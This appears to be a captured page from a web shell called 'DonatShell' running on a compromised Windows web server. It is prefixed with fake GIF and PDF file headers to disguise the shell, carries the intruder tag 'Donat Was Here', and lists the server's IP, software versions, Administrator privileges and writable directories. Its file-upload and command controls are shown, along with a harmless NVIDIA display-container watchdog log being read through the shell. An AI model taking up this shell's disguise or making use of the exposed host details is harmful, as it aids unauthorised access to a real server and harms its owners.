GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /ProgramData/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /ProgramData/NVDisplayContainerWatchdog.log_backup1
#0(I)[2020-12-08 23:45:19,278]{000005BC}<NvpChildGroup>    Add watchdog for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session - 'C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe' : '-f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session' : 10/300/5 : elevated : '' 
#1(I)[2020-12-08 23:45:19,278]{000005BC}<DirectoryListene> Adding directory C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session.
#2(D)[2020-12-08 23:45:19,278]{000005BC}<DirectoryListene> Total number of current directories is 1.
#3(D)[2020-12-08 23:45:19,388]{000005AC}<DirectoryListene> Directory change listener thread started
#4(D)[2020-12-08 23:45:19,388]{000005BC}<DirectoryListene> Directory listener thread started.
#5(D)[2020-12-08 23:45:19,622]{0000088C}<NvpWatchdog>      Skip session 1 - 'Console' in state 2
#6(D)[2020-12-08 23:45:19,622]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#7(I)[2020-12-08 23:45:19,622]{0000088C}<NvpWatchdog>      Running sessions = 0, user sessions = 0 & service session
#8(D)[2020-12-08 23:45:19,622]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2020-12-08 23:45:19,622]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2020-12-08 23:45:19,622]{0000088C}<NvpChildGroup>    Group =>
#1(D)[2020-12-08 23:45:19,622]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#2(D)[2020-12-08 23:45:19,622]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#3(D)[2020-12-08 23:45:19,622]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#4(D)[2020-12-08 23:45:19,622]{0000088C}<NvpChildGroup>        Processes =>
#5(D)[2020-12-08 23:45:19,622]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#6(D)[2020-12-08 23:45:19,622]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#7(D)[2020-12-08 23:45:19,622]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#8(D)[2020-12-08 23:45:19,622]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2020-12-08 23:45:19,622]{0000088C}<NvpChildGroup>    Group =>
#0(D)[2020-12-08 23:45:19,622]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(D)[2020-12-08 23:45:19,622]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#2(D)[2020-12-08 23:45:19,622]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#3(D)[2020-12-08 23:45:19,622]{0000088C}<NvpChildGroup>        Processes =>
#4(D)[2020-12-08 23:45:19,622]{0000088C}<NvpWatchdog>      Wait for 3 handles. Timeout = 4294967295
#5(I)[2020-12-08 23:45:54,255]{000005BC}<NvpWatchdog>      Session 1 event 1: Console Connect
#6(I)[2020-12-08 23:45:54,255]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#7(I)[2020-12-08 23:45:54,255]{0000088C}<NvpWatchdog>      Session event was signaled
#8(I)[2020-12-08 23:45:54,255]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#9(D)[2020-12-08 23:45:54,255]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#0(I)[2020-12-08 23:45:54,255]{0000088C}<NvpWatchdog>      Running sessions = 1, user sessions = 0 & service session
#1(D)[2020-12-08 23:45:54,255]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#2(D)[2020-12-08 23:45:54,255]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#3(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>    Group =>
#4(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#5(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#6(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#7(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>        Processes =>
#8(D)[2020-12-08 23:45:54,255]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2020-12-08 23:45:54,255]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2020-12-08 23:45:54,255]{0000088C}<NvpChildProcess>  Run container for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session in session 1
#2(I)[2020-12-08 23:45:54,255]{0000088C}<NvpChildProcess>  Use quit event 'Global\NvContainer1464-session1-c:_windows_system32_driverstore_filerepository_nv_dispi.inf_amd64_90685a092bcf58c7_display.nvcontainer_plugins_session' (error = 0) for elevated container 'C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session'
#3(I)[2020-12-08 23:45:54,255]{000005BC}<NvpWatchdog>      Session 1 event 1: Console Connect
#4(I)[2020-12-08 23:45:54,255]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#5(D)[2020-12-08 23:45:54,255]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#6(D)[2020-12-08 23:45:54,255]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#7(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>    Group =>
#8(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#9(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#0(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#1(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>        Processes =>
#2(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#3(D)[2020-12-08 23:45:54,255]{0000088C}<NvpWatchdog>      Wait for 4 handles. Timeout = 4294967295
#4(I)[2020-12-08 23:45:54,255]{0000088C}<NvpWatchdog>      Session event was signaled
#5(I)[2020-12-08 23:45:54,255]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#6(D)[2020-12-08 23:45:54,255]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#7(I)[2020-12-08 23:45:54,255]{0000088C}<NvpWatchdog>      Running sessions = 1, user sessions = 0 & service session
#8(D)[2020-12-08 23:45:54,255]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2020-12-08 23:45:54,255]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>    Group =>
#1(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#2(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#3(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#4(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>        Processes =>
#5(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#6(D)[2020-12-08 23:45:54,255]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#7(D)[2020-12-08 23:45:54,255]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#8(I)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#9(I)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#0(D)[2020-12-08 23:45:54,255]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2020-12-08 23:45:54,255]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#2(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>    Group =>
#3(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#4(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#5(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#6(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildGroup>        Processes =>
#7(D)[2020-12-08 23:45:54,255]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#8(D)[2020-12-08 23:45:54,255]{0000088C}<NvpWatchdog>      Wait for 4 handles. Timeout = 4294967295
#9(I)[2020-12-09 17:07:26,806]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#0(I)[2020-12-09 17:07:26,806]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#1(I)[2020-12-09 17:07:26,806]{0000088C}<NvpWatchdog>      Session event was signaled
#2(I)[2020-12-09 17:07:26,806]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#3(I)[2020-12-09 17:07:26,806]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#4(I)[2020-12-09 17:07:26,806]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2020-12-09 17:07:26,806]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#1'
#6(D)[2020-12-09 17:07:26,806]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#7(I)[2020-12-09 17:07:26,806]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 0 & service session
#8(D)[2020-12-09 17:07:26,816]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2020-12-09 17:07:26,816]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>    Group =>
#1(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#2(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#3(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#4(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>        Processes =>
#5(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#6(D)[2020-12-09 17:07:26,816]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#7(D)[2020-12-09 17:07:26,816]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#8(I)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#9(I)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#0(I)[2020-12-09 17:07:26,816]{0000088C}<NvpChildProcess>  Run container for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session in session 2
#1(I)[2020-12-09 17:07:26,816]{0000088C}<NvpChildProcess>  Use quit event 'Global\NvContainer1464-session2-c:_windows_system32_driverstore_filerepository_nv_dispi.inf_amd64_90685a092bcf58c7_display.nvcontainer_plugins_session' (error = 0) for elevated container 'C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session'
#2(D)[2020-12-09 17:07:26,816]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#3(D)[2020-12-09 17:07:26,816]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>    Group =>
#5(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#6(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#7(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#8(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>        Processes =>
#9(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#0(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#1(D)[2020-12-09 17:07:26,816]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#2(I)[2020-12-09 17:07:26,816]{0000088C}<NvpWatchdog>      Session event was signaled
#3(I)[2020-12-09 17:07:26,816]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#4(I)[2020-12-09 17:07:26,816]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#1'
#5(D)[2020-12-09 17:07:26,816]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#6(I)[2020-12-09 17:07:26,816]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 0 & service session
#7(D)[2020-12-09 17:07:26,816]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#8(D)[2020-12-09 17:07:26,816]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>    Group =>
#0(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#2(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#3(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>        Processes =>
#4(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#5(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#6(D)[2020-12-09 17:07:26,816]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#7(D)[2020-12-09 17:07:26,816]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#8(I)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#9(I)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#0(I)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#1(D)[2020-12-09 17:07:26,816]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#2(D)[2020-12-09 17:07:26,816]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#3(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>    Group =>
#4(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#5(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#6(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#7(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildGroup>        Processes =>
#8(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#9(D)[2020-12-09 17:07:26,816]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#0(D)[2020-12-09 17:07:26,816]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#1(I)[2020-12-09 17:07:27,540]{000005BC}<NvpWatchdog>      Session 2 event 5: Logon
#2(I)[2020-12-09 17:07:27,540]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#3(I)[2020-12-09 17:07:27,540]{0000088C}<NvpWatchdog>      Session event was signaled
#4(I)[2020-12-09 17:07:27,540]{000005BC}<NvpWatchdog>      Session 2 event 5: Logon
#5(I)[2020-12-09 17:07:27,540]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#6(I)[2020-12-09 17:07:27,540]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#7(I)[2020-12-09 17:07:27,540]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#1'
#8(I)[2020-12-09 17:07:27,540]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#1'
#9(D)[2020-12-09 17:07:27,540]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#0(I)[2020-12-09 17:07:27,540]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#1(D)[2020-12-09 17:07:27,556]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#2(D)[2020-12-09 17:07:27,556]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#3(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>    Group =>
#4(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#5(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#6(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#7(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>        Processes =>
#8(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#9(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#0(D)[2020-12-09 17:07:27,556]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2020-12-09 17:07:27,556]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#2(I)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
